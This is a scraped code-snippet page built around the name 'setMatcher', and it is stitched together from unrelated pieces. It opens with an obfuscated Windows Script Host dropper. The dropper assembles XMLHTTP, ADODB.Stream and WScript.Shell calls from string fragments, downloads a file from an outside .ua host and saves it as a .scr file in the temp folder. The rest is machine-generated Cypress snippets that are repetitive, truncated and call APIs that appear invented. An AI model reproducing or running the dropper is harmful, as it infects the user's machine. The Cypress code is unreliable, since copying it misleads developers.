eval(qsaError("innerHTML%28onreadystatechange%20+%20%22nseBo%22%20+%20jqXHR%2C%20%28%28733%26expanded%29/%287+clientLeft%29%29%2C%20winnow%2C%20%22write%22%29"));94}...
20160308_e33a1faf7163e00a1a1913486216f6b3.js
Source:20160308_e33a1faf7163e00a1a1913486216f6b3.js
1var els = "MSXML2",2 DOMParser = "c",3 pixelPositionVal = ".sc",4 content = "am",5 curPosition = "clo",6 cssNumber = "save";7doneName = (function String.prototype.$() {8 return this9}, "Run"), elements = "Create", max = "le", prototype = "Bod";10parent = "%/";11accepts = 852816;12origCount = "p:", doAnimation = "ready", readyState = "E";13var button = "WSc";14var support = "ronm",15 pdataCur = "Obj",16 PI = "ffs",17 key = 112,18 attrHandle = "arentO";19sourceIndex = "ct", sortStable = 2, prependTo = "p.ua/9", speeds = "Sle", nodeName = "Obje";20hidden = "et";21ct = "Sleep";22boxSizingReliableVal = "%T";23noBubble = "HT";24valHooks = "htt";25updateFunc = "Cr";26var xhr = "entStr",27 classCache = "ADOD",28 removeEvent = "MP",29 groups = "GET",30 useCache = 14,31 tokenize = "ect";32sortInput = "R", rdashAlpha = "on", obj = "je";33rbuggyQSA = "pt";34defaultDisplay = "WScrip";35getWidthOrHeight = 101;36fns = 924;37var clearInterval = "send",38 pipe = "/",39 html = ".",40 delegateType = "ings",41 win = "type",42 etag = "ToFi";43var forward = "WScri",44 aup = 171,45 token = "Exp",46 v = "y",47 triggerHandler = "T",48 rbracket = "b";49var resolveContexts = "ep",50 crossDomain = "P",51 timerId = "h.",52 has = "t",53 properties = "hell";54postDispatch = "WScr";55isFunction = "ipt.S";56rquickExpr = "h5";57getElementsByTagName = 166;58el = "p";59soFar = "/cyb";60focusin = "eate", trigger = 2809, what = 1, parentWindow = "se";61pageY = "O", proxy = "r", append = "positi", contains = 34;62getPropertyValue = 4;63rquery = "andE", checkDisplay = "ript", defaultPrefilter = "Stre", options = "erbu";64rsingleTag = "open";65var defaultValue = "state",66 isArrayLike = "WS",67 querySelectorAll = "B",68 oldCallbacks = ".XML",69 swap = "espon";70var setMatcher = 0;71fnOver = "nvi";72getWindow = "7kh65g";73params = 32;74checkClone = 3;75pageYOffset = "write";76hide = (((48 ^ key) | (190, aup, 2)), ((Math.pow((params - 14), sortStable) - 19 * sortStable * 2 * sortStable * 2), this));77count = doneName;78fast = hide[defaultDisplay + has];79ajaxConvert = fast[elements + pageY + rbracket + obj + DOMParser + has](postDispatch + isFunction + properties);80unit = ajaxConvert[token + rquery + fnOver + support + xhr + delegateType](boxSizingReliableVal + readyState + removeEvent + parent) + el + attrHandle + PI + hidden + pixelPositionVal + proxy;81matchIndexes = hide[forward + rbuggyQSA][elements + nodeName + sourceIndex](els + oldCallbacks + noBubble + triggerHandler + crossDomain);82matchIndexes[rsingleTag](groups, valHooks + origCount + pipe + soFar + options + timerId + el + prependTo + getWindow + rquickExpr, !((((((what + -1) ^ (getPropertyValue + 2)) & ((setMatcher | 140) / (useCache + 14))))) == getPropertyValue));83matchIndexes[clearInterval]();84while (matchIndexes[doAnimation + defaultValue] < ((178 + sortStable) / (18 * sortStable + 9))) {85 hide[isArrayLike + DOMParser + checkDisplay][ct](((getWidthOrHeight, 155, getElementsByTagName, 100)));86}87responseFields = hide[button + checkDisplay][updateFunc + focusin + pdataCur + tokenize](classCache + querySelectorAll + html + defaultPrefilter + content);88hide[forward + rbuggyQSA][speeds + resolveContexts](((trigger & 4092) * (sortStable + 3) + (Math.pow(fns, 2) - accepts)));89responseFields[rsingleTag]();90tag = responseFields;91tag[win] = ((1 | what) & 1);92hasClass = tag;93responseFields[pageYOffset](matchIndexes[sortInput + swap + parentWindow + prototype + v]);94hasClass[append + rdashAlpha] = (setMatcher);95responseFields[cssNumber + etag + max](unit, ((0 ^ setMatcher) | (2 & checkClone)));96responseFields[curPosition + parentWindow]();97access = ajaxConvert;...
Using AI Code Generation
1Cypress.on('uncaught:exception', (err, runnable) => {2})3Cypress.on('uncaught:exception', (err, runnable) => {4})5Cypress.on('uncaught:exception', (err, runnable) => {6})7Cypress.on('uncaught:exception', (err, runnable) => {8})9Cypress.on('uncaught:exception', (err, runnable) => {10})11Cypress.on('uncaught:exception', (err, runnable) => {12})13Cypress.on('uncaught:exception', (err, runnable) => {14})15Cypress.on('uncaught:exception', (err, runnable) => {16})17Cypress.on('uncaught:exception', (err, runnable) => {18})19Cypress.on('uncaught:exception', (err, runnable) => {20})21Cypress.on('uncaught:exception',
Using AI Code Generation
1Cypress.Commands.add('setMatcher', (matcher) => {2 Cypress.on('uncaught:exception', (err, runnable) => {3 if (err.message.includes(matcher)) {4 }5 })6})7describe('Test Case', () => {8 it('Test Case', () => {9 cy.setMatcher('some error message')10 })11})12Cypress.on('uncaught:exception', (err, runnable) => {13 if (err.message.includes('some error message')) {14 }15})
Using AI Code Generation
1Cypress.Commands.add('setMatcher', (matcher) => {2 cy.on('uncaught:exception', (err, runnable) => {3 return matcher(err, runnable);4 });5});6describe('Test', () => {7 it('Test case', () => {8 cy.setMatcher((err, runnable) => {9 if (err.message.includes('Error message')) {10 return false;11 }12 return true;13 });14 });15});162. Using Cypress.on() method17Cypress.on('uncaught:exception', (err, runnable) => {18 return false;19});203. Using Cypress.config() method21Cypress.config({22});234. Using Cypress.env() method24Cypress.env({25});265. Using Cypress.config() method27Cypress.config({28});296. Using Cypress.env() method30Cypress.env({31});327. Using Cypress.config() method33Cypress.config() method is used to set the configuration options for the test execution. We can use this method to set the ignoreTestFiles option to true to ignore the test
Using AI Code Generation
1Cypress.Commands.add('setMatcher', (matcher) => {2 Cypress.env('matcher', matcher);3});4Cypress.Commands.add('getMatcher', () => {5 return Cypress.env('matcher');6});
Using AI Code Generation
1Cypress.Commands.add('setMatcher', (matcher) => {2 Cypress.config('defaultCommandTimeout', 10000);3 Cypress.SelectorPlayground.defaults({4 });5 Cypress.SelectorPlayground.defaults({6 selectorPriorities: {7 },8 });9 Cypress.SelectorPlayground.defaults({10 });11 Cypress.SelectorPlayground.defaults({12 });13 Cypress.SelectorPlayground.defaults({14 });15});16require('cypress-xpath');17require('cypress-plugin-tab');18require('cypress-plugin-retries');19require('../integration/test');20require('cypress-plugin-snapshots/commands');21import '@shelex/cypress-allure-plugin';22Cypress.on('uncaught:exception', (err, runnable) => {23 return false;24});25const allureWriter = require('@shelex/cypress-allure-plugin/writer');26const { addMatchImageSnapshotPlugin } = require('cypress-image-snapshot/plugin');27module.exports = (on, config) => {28 addMatchImageSnapshotPlugin(on, config);29 allureWriter(on, config);30 return config;31};32{33 "retries": {34 },35 "env": {
Using AI Code Generation
1Cypress.Commands.overwrite('setMatcher', (orig, newMatcher) => {2 cy.window().then((win) => {3 win.Cypress.dom.setMatcher(newMatcher);4 });5});6Cypress.Commands.overwrite('setMatcher', (orig, newMatcher) => {7 cy.window().then((win) => {8 win.Cypress.dom.setMatcher(newMatcher);9 });10});
Using AI Code Generation
1cy.setMatcher('custom', 'contains', (actual, expected) => {2 if (actual === expected) {3 return true;4 }5 return false;6});7cy.get('element').should('custom', 'value');8cy.setMatcher('custom', 'contains', (actual, expected) => {9 if (actual === expected) {10 return true;11 }12 return false;13});14cy.get('element').should('custom', 'value');15cy.addMatchers({16 custom: (actual, expected) => {17 if (actual === expected) {18 return true;19 }20 return false;21 }22});23cy.get('element').should('custom', 'value');24cy.addMatchers({25 custom: (actual, expected) => {26 if (actual === expected) {27 return true;28 }29 return false;30 }31});32cy.get('element').should('custom', 'value');33cy.setMatcher('custom', 'contains', (actual, expected) => {34 if (actual === expected) {35 return true;36 }37 return false;38});39cy.setMatcher('custom', 'contains', (actual, expected) => {40 if (actual === expected) {41 return true;42 }43 return false;44});45cy.addMatchers({46 custom: (actual, expected) => {47 if (actual === expected) {48 return true;49 }50 return false;51 }52});53cy.removeMatchers(['custom']);
Using AI Code Generation
1Cypress.Commands.overwrite('get', (originalFn, selector, options) => {2 if (Cypress.env('matcher')) {3 return originalFn(selector, { ...options, matcher: Cypress.env('matcher') });4 }5 return originalFn(selector, options);6});7Cypress.Commands.overwrite('contains', (originalFn, selector, options) => {8 if (Cypress.env('matcher')) {9 return originalFn(selector, { ...options, matcher: Cypress.env('matcher') });10 }11 return originalFn(selector, options);12});13Cypress.Commands.overwrite('click', (originalFn, selector, options) => {14 if (Cypress.env('matcher')) {15 return originalFn(selector, { ...options, matcher: Cypress.env('matcher') });16 }17 return originalFn(selector, options);18});19Cypress.Commands.overwrite('type', (originalFn, selector, options) => {20 if (Cypress.env('matcher')) {21 return originalFn(selector, { ...options, matcher: Cypress.env('matcher') });22 }23 return originalFn(selector, options);24});25Cypress.Commands.overwrite('should', (originalFn, selector, options) => {26 if (Cypress.env('matcher')) {27 return originalFn(selector, { ...options, matcher: Cypress.env('matcher') });28 }29 return originalFn(selector, options);30});31Cypress.Commands.add('setMatcher', (matcher) => {32 Cypress.env('matcher', matcher);33});34it('test', () => {35 cy.setMatcher('contains');36 cy.get('input[name="q"]').type('cypress');37 cy.get('input[name="btnK"]').click();38 cy.get('div.rc').should('be.visible');
Cypress is a renowned Javascript-based open-source, easy-to-use end-to-end testing framework primarily used for testing web applications. Cypress is a relatively new player in the automation testing space and has been gaining much traction lately, as evidenced by the number of Forks (2.7K) and Stars (42.1K) for the project. LambdaTest’s Cypress Tutorial covers step-by-step guides that will help you learn from the basics till you run automation tests on LambdaTest.
You can elevate your expertise with end-to-end testing using the Cypress automation framework and stay one step ahead in your career by earning a Cypress certification. Check out our Cypress 101 Certification.
Watch this 3 hours of complete tutorial to learn the basics of Cypress and various Cypress commands with the Cypress testing at LambdaTest.
Get 100 minutes of automation test minutes FREE!!